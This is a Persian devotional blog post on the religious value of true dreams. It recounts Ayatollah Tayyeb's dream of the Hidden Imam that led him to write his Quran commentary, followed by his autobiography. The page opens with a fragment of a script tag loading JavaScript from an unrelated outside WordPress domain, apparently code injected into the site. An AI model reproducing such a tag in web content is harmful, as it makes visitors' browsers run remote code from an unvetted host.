script type=’text/javascript’ src=’http://taklearn.ir/wp-includes/js/l10n.js?ver=20101110′> تفسيري كه به توصيه امام زمان عجل الله تعالي فرجه الشريف نوشته شد
منجی عشق
این وبلاگ قصد دارد شما را با موضوع مهدویت بیشتر آشنا کند

تفسيري كه به توصيه امام زمان عجل الله تعالي فرجه الشريف نوشته شد

از پديده‌هاي پيچيده‌اي كه براي انسان رخ مي‌دهد، رؤيا است. درباره ماهيت واقسام رؤيا، سخن بسيار است؛ از جمله آن‌ها بحثي فقهي است كه آيا خواب حجت شرعي است يا نه؟
فقهاي بزرگ براين مطلب توافق دارند كه خواب ديدن نمي‌تواند مبناي تكليف و حكمي شرعي قرارگيرد؛ براي نمونه اگر كسي در خواب، پيامبر صل الله عليه و آله و سلم يا ائمه اطهار عليهم السلام را ببيند و با استناد به آن رؤيا حديثي از آنان نقل كند، ارزش و اعتباري ندارد.
توجه به يك نكته مهم
خواب دليل شرعي نيست؛ ولي اين بدان معنا نيست كه فاقد ارزش‌هاي ديگر است.قرآن مجيد، چندين رؤيا را نقل مي‌كند كه بيان‌كننده خبر يا پيامي شخصي بوده است يا از حوادث مهمي در آينده خبر داده‌اند؛ مانند خواب هم‌بندان يوسف عليه السلام، رؤياي حضرت ابراهيم عليه السلام، رؤياي پيامبراكرم صل الله عليه و آله و سلم و خواب پادشاه مصر.
در ذيل آية «لهُم‌البُشْرى‏ فِي الْحَياةِ الدُّنْيا وَ فِي الْآخِرَةِ لا تَبْدِيلَ لِكَلِماتِ اللَّهِ ذلِكَ هُوَ الْفَوْزُ الْعَظِيمُ[1] روايات معتبري وارد شده است كه مصداقي از اين بشارت‌ها را «رؤياهاي صادق» مي‌داند.»
امام صادق عليه السلام مي‌فرمايد:
رَأْيُ الْمُؤْمِنِ وَ رُؤْيَاهُ فِي آخِرِ الزَّمَانِ عَلَى سَبْعِينَ جُزْءاً مِنْ أَجْزَاءِ النُّبُوَّةِ؛[2]
رأي و رؤياي مؤمن در آخرالزمان، بر هفتاد جزء از اجزاي نبوت است.
امام هشتم عليه السلام فرمود:
إِنَّ رَسُولَ اللَّهِ صل الله عليه و آله و سلم كَانَ إِذَا أَصْبَحَ قَالَ لِأَصْحَابِهِ: هَلْ مِنْ مُبَشِّرَاتٍ يَعْنِي بِهِ الرُّؤْيَا؛[3]
زماني كه صبح مي‌شد، رسول صل الله عليه و آله و سلم مي‌فرمود: «آيا بشارت دهنده‌اي هست؟» و مقصود حضرت، رؤيا بود.
امام باقر عليه السلام فرمود:
قَالَ رَجُلٌ لِرَسُولِ اللَّهِ صل الله عليه و آله و سلم فِي قَوْلِ اللَّهِ عَزَّ وَ جَلَّ: لَهُمُ الْبُشْرى‏ فِي الْحَياةِ الدُّنْيا قَالَ: هِيَ الرُّؤْيَا الْحَسَنَةُ يَرَى الْمُؤْمِنُ فَيُبَشَّرُ بِهَا فِي دُنْيَاهُ؛[4]
شخصي درباره آيه «لهم البشري...» از رسول خدا صل الله عليه و آله و سلم پرسيد. حضرت فرمود: «آن بشارت،رؤياي صادق است كه مؤمن مي‌بيند و در دنياي خود، به واسطة آن شادمان مي‌شود».

 

درباره رؤيا و اقسام و نقش آن و نيز ديدگاه قرآن و روايات در اين زمينه در شماره هاي آينده انشاءالله به صورت گسترده به آن خواهيم پرداخت.
البته هر رؤيايي صادق نيست و معيارهايي دارد كه بايد با آن سنجيده شود. از جمله رؤياهاي صادقه، رؤياي مرحوم آيت الله طيب رحمه الله صاحب تفسير اطيب البيان است كه براي استفاده خوانندگان عزيز، عين متن آن را از تفسير اطيب البيان مي‌آوريم:
دير زمانى بود كه در خاطرم خطور مي‌نمود كتابى در تفسير قرآن بنگارم و روى اين انديشه حوزه‏هاى تفسيرى تشكيل داده و جزوه‏هاى متفرقى در اين باره به رشته تحرير درآورده بودم؛ ولى از طرفى قصور باع و قلّت استعداد و اشتغالات درسى و عوائق و گرفتاري‌هاى دنيوى، مرا از اقدام به اين امر، منع بلكه مأيوس مي‌نمود.
تا اين كه در شب سه شنبه پنجم جمادى الثاني سال 1380 هجرى قمرى مطابق با 22 آبان ماه 1339 شمسى در محضر بعضى از علماي اعلام به مجلس سوگوارى حضرت صديقه طاهره عليها السلام موفق شده و ضمن توسل حالت وجدى در خود ديدم. از آن جا به منزل مراجعت نموده و در عالم رؤيا خدمت ثامن الحجج عليه السلام و حضرت ولى عصر عجل الله تعالي فرجه الشريف مشرف شده و پس از مذاكراتى كه بين آن دو بزرگوار راجع به زوار شد، حضرت بقية اللَّه بعد از عناياتى و ترضيه خاطرى.]= اعلام رضايت[نسبت به حقير و مروجين دين، مرا امر به نوشتن تفسيرى فرموده و وعده نصرت به من دادند.
بعد از آن كه از خواب بيدار شدم، صدق رؤياى من ظاهر شده و وعده نصرت حضرتش تحقق يافته و من به نگارش و تأليف اين كتاب به يارى حضرت رب الارباب و تاييدات حضرت حجت باتمام كوشش و اهتمام اقدام نمودم و از خداوند متعال مسألت مي‌نمايم كه توفيق اتمام آن را به اين بنده ضعيف عنايت و مرا بيش از پيش در ترويج دين مبين و نشر احكام حضرت سيد المرسلين نصرت و يارى فرمايد.
و چون در تفسير آيات قرآن، از احاديث و بيانات خاندان نبوت و معادن علم و حكمت حضرت احديت استفاده نمودم و حقّاً كه بيانات ايشان، بهترين و پاكيزه‏ترين بيانات در تفسير قرآن بوده و اين جامه تنها به قامت اينان راست آمده است، اين كتاب را اطيب البيان فى تفسير القرآن ناميدم و اين هديه ناقابل را حضور ولى عصر عجل الله تعالي فرجه الشريف تقديم مي‌نمايم.
در شب جمعه گذشته شب 13 ذى الحجة در عالم رؤيا خدمت حضرت بقيّة اللَّه مشرف شدم؛ سندى بر اين تفسير تقاضا كردم؛ كاغذى به من مرحمت فرمودند. عرض كردم: «امضاي خود شما را طالبم». حضرت نقطه‏اى در آن صفحه گذاشت كه آن نقطه نور مي‌داد. اميدوارم منظور نظر مبارك آن حضرت باشد و وسيله سعادت شود.[5]
زندگينامه آيت الله طيب از زبان خودشان
حقير بعد از ظهر هفتم محرم سال 1312 ق (برابر با 30 تير 1272 ش و 21 ژويه 1893 م) در يكي از محله‌هاي مركز شهر اصفهان (معروف به محلة نور در ميان طايفه‌اي از سادات معروف به مير محمدصادقي) ديده به جهان گشودم.
من چهارمين فرزند خانواده و اولين پسر آن بودم، به اين لحاظ آن گونه كه نقل مي‌كردند توجه مخصوص نزديكان به سوي من جلب شده بود.
با توجه به علاقه و اخلاق وافر پدرم نسبت به آستان مبارك حضرت ابي عبدالله الحسين عليه السلام من را عبدالحسين ناميدند، اين نام از ابتدا براي من موجب بركات فراوان شده است و همواره نسبت به آن افتخار مي‌كنم.

 

هنگامي كه من سومين بهار زندگي خود را سپري مي‌كردم، پدرم خانواده را براي سفر به كربلا و آستان بوسي مولا آماده مي‌كند، نزديكان با خود زمزمه داشتند كه او نذر داشته نام فرزند خود را عبدالحسين بگذارد و مي‌خواهد در اولين فرصت عبد را به محضر مولا ببرد.
سفر به عتبات مقدسه با توجه به امكانات آن روز مشكلات زيادي داشت، به اين جهت پدر براي مراقبت از فرزند دلبند خويش، شخصي را اجير مي‌كند تا در طول مسافرت مراقب عبدالحسين باشد. آن مسافرت قريب دو ماه به طول مي‌انجامد، پس از بازگشت عبدالحسين، كودك چهار سالة آن روز، بسياري از فقرات زيارت وارث و امين الله و بخشي از زيارت جامعة‌ كبيره را بدون خطا از حفظ مي‌خواند.
اين امر را من طبيعي مي‌دانم چرا كه مولايي به مانند ابي عبدالله الحسين عليه السلام عبد آستان بوس خود را بدون صله و انعام نمي‌گذارد، صله و العامي كه نخستين بخش آن عشق و محبتي محكم و پيوند ناگسستني است با مولا. من در تمام ايام عمر خويش، از اين صله و انعام، بهره‌ها برده‌ام و خود را نسبت به آن ممنون و سپاسگزار مي‌دانم.
نزديكان، آن روز حفظ زيارات را به هوش و حافظه خوب كودك منتسب مي‌كردند، اما حقير كه بعدها دعاي كميل، زيارت عاشورا، زيارت جامعة كبيره و زيارت چهارده معصوم را از حفظ مي‌خواندم و اكنون در اين 95 سال زندگي هنوز جزئيات آن سفر مقدس را به خوبي به ياد دارم، آن را جز عنايت الهي و تفضل مولا نمي‌دانم.
بعد از اين سفر مرا به مكتب خانه فرستادند و پس از فراگيري خواندن و نوشتن، حساب، قرآن و نصاب الصبيان، راهي مدرسه علميه شدم.
در 12 سالگي طبق مشيت الهي از نعمت سرپرستي پدر محروم گرديدم، ولي از آنجا كه طرق فضل الهي و عنايت باري محدود نيست، مادرم كه بانوي بسيار بزرگوار و مقدس و همچون پدر، از شجرة طيبة ولايت و از خاندان روحانيت بود، به تربيت من همت مخصوص گمارد. او مصمم‌تر و قوي‌تر از گذشته من را تشويق و تحريص به كسب علم و تحصيل معرفت مي‌كرد و در اين راه هيچ گاه از دعا و توسل فراموشم نمي‌كرد و به قول خودش هر شب هنگام سحر، از خدا مي‌خواست كه: حسين را اهلش كند. از رهگذر اين دعاهاي خالصانه و تشويق‌هاي مشفقانه در من عزمي پيدا شد كه توانستم ناملايمات پيش آمده از فقدان پدر را تحمل كرده و به طريق خود ادامه بدهم... .
در ابتداي طلبگي، در مدرسة ميرزا مهدي حجره‌اي گرفتم و آنجا مشغول درس و بحث شدم، از ابتداي مقدمات تا معالم را خدمت مرحوم حاج آقا آخوند زفره‌اي بودم. معالم را خدمت مرحوم سيد احمد خوانساري خواندم.

 

مرحوم آقاي شيخ علوي يزدي كه بسيار در ادبيات مسلط بود. در مدرسة صدر شرح لمعه مي‌فرمود. اين درس، بسيار خوب و متين و با آهنگي بلند گفته مي‌شد، صداي خوب آن مرحوم در تمام مدرسه به گوش مي‌رسيد. شرح لمعه را من خدمت ايشان خواندم. نزد مرحوم آقاي شيخ حسن يزدي منطق را خواندم.
حكمت، حساب، جبر، مقابله، هيئت و نجوم را خدمت مرحوم اسد الله قمشه‌اي حكيم، فرا گرفتم، بعد از اتمام دروس مقدمات از مدرسة ميرزا مهدي به مدرسه جنب مسجد امام نقل مكان كردم و پس از آن به مدرسة چهار باغ (امام صادق عليه السلام) رفتم و آنجا رحل اقامت افكندم... .
خدمت مرحوم آقا سيد مهدي درچه‌اي، كتاب قوانين و تقريرات كفايه را خواندم، نزد مرحوم آخوند ملا عبدالكريم گزي، متاجر شيخ را فرا گرفتم. فوائد الاصول را خدمت آقا مير محمد صادقي مدرس و كفايه را خدمت مرحوم دزفولي خواندم، دروس خارج فقه و اصلو را، درس خارج اصول مرحوم ميرمحمد صادقي مدرس و مرحوم محمدتقي مدرس شركت مي‌كردم و همچنين در درس خارج فقه مرحوم سيد ابوالقاسم دهكردي نيز شركت مي‌جستم، عمدة فقه و اصول را در اصفهان، خدمت مرحوم آيت الله آقا سيد محمدباقر درچه‌اي بودم، تقريبا مدت 11 سال مرتب درس اين بزرگوار مي‌رفتم.
درست است كه ثمره ظاهري اين 11 سال تحصيل مداوم خدمت ايشان مرا به درجه اجتهاد رسانيد اما آنچه مهم بود، من از آن مرحوم، درس زندگي، اخلاق و شخصيت را فراگرفتم... [6]
مرحوم آيت الله طيب در سال 1370 دار فاني را وداع گفتند و به لقاي معبود خود شتافتند. ايشان در قبرستان تخت فولاد اصفهان به خاك سپرده شد. روحش شاد و يادش گرامي باد.


1. براي مؤمنان در زندگي دنيا و آخرت بشارت هست، سوره يونس: 64.
2. كليني،كافي،ج8،ص91
3. همان.
4. همان.
5. آيت الله طيب، أطيب البيان في تفسير القرآن، ج‏9، ص 420.
6. مجله بينات،شماره16


نظرات شما عزیزان:

نام :
آدرس ایمیل:
وب سایت/بلاگ :
متن پیام:
:) :( ;) :D
;)) :X :? :P
:* =(( :O };-
:B /:) =DD :S
-) :-(( :-| :-))
نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه:





درباره وبلاگ

چه با شکوه است تصویر ایامی که تنها حاکم عالم، دادگستری چون قائم آل محمد(عج) باشد. و چه زیباست زندگی در ایامی که پرچمی جز پرچم توحید به اهتزاز نباشد و ندائی جز ندای حق به گوش جهانیان نرسد، دورانی سرشار از عطوفت، مهربانی، عدالت، آزادگی و کرامت انسانی.
موضوعات
پيوندها

تبادل لینک هوشمند
برای تبادل لینک  ابتدا ما را با عنوان منجی عشق و آدرس monjieeshgh.LoxBlog.ir لینک نمایید سپس مشخصات لینک خود را در زیر نوشته . در صورت وجود لینک ما در سایت شما لینکتان به طور خودکار در سایت ما قرار میگیرد.





نويسندگان


ورود اعضا:

نام :
وب :
پیام :
2+2=:
(Refresh)

خبرنامه وب سایت:





آمار وب سایت:  

بازدید امروز : 5
بازدید دیروز : 4
بازدید هفته : 5
بازدید ماه : 257
بازدید کل : 33026
تعداد مطالب : 50
تعداد نظرات : 14
تعداد آنلاین : 1